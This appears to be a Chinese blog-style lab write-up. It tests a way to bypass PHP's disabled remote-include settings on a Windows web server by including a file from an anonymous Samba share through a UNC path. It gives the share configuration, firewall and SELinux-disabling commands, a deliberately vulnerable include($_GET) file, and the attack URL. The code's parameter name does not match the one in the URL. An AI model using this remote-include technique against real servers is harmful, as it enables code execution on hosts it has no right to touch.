前言

看到freebuf上的《RFI绕过URL包含限制Getshell》和先知社区上的《通过SMB造成远程文件包含(双Off情况)》这两篇文章,说是利用SMB协议可以绕过php对远程文件包含的限制。

默认情况下,php.ini当中allow_url_includeoff,是没有办法对一个文件包含漏洞进行远程文件包含的,更何况连allow_url_fopen都为off

看完这两篇文章,可以想到PHP肯定是没有考虑到SMB协议\\192.168.1.1\test.php这种情况,认为这种情况是本地文件路径,但是在支持SMB客户端的系统下却成了远程文件包含漏洞。

同时我第一时间想到这里用的特性,实际上和MySQL利用DNS实现注入总结是一样的,应该都是在Windows web server下才能触发的漏洞。

实际测试

1. 在CentOS 7 下搭建SAMBA服务

SambaA: 192.168.31.140为Centos 7 的samba服务器

WinWebB: 192.168.31.139Windows 10 的PHP WEB Server

编辑smb配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[icatest]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
~

重启smb服务

1
service smb restart

发现其他机器访问不到,iptables在作怪,将445和139端口加入白名单

1
2
iptables -I INPUT 1 -p tcp --dport 445 -j ACCEPT
iptables -I INPUT 1 -p tcp --dport 139 -j ACCEPT

在其它机器上nmap查看端口,可以发现445端口了,安装成功。

在另外一台windows 10主机上运行处输入\\192.168.31.140\icatest\可以匿名访问。

2. 在SMB共享目录里写入phpinfo测试文件

SambaA共享目录/var/www/html/pub/下执行:

1
touch shell.php

内容为:

1
2
<?php
phpinfo();

在WinWebB下运行处输入\\192.168.31.140\icatest\打开发现共享目录没有内容,可以刚才我们明明写入了shell.php。是SecLinux在作怪:

在SambaA命令行输入

1
setenforce 0

关闭seclinux发现出现shell.php了。

3. 测试远程文件包含

在WinWebB机器上的web目录里写入php文件test.php

1
2
<?php
include($_GET['a']);

接着关闭php.ini的allow_url_includeoffallow_url_fopen

访问http://localhost/test.php?file=\\192.168.31.140\icatest\shell.php

文件包含成功。

4. 更换Web Server平台为Mac

利用smb可以再刚才的WinWebB 的 Windows 10机器上成功的进行了远程文件包含。

我们现在更换Web Server为Mac试一下。

在MacWeb Server C 下同样执行3中的操作。

然后访问http://localhost/test.php?file=\\192.168.31.140\icatest\shell.php直接报错。

5. 结论

如同开始所预想的,这个漏洞和MySQL利用DNS实现注入总结一样,还是利用了Windows 平台对于SMB支持的特性。在默认不支持SMB协议的Linux和Unix平台无法利用。

凡事要自己动手测试,才能得到真正结论。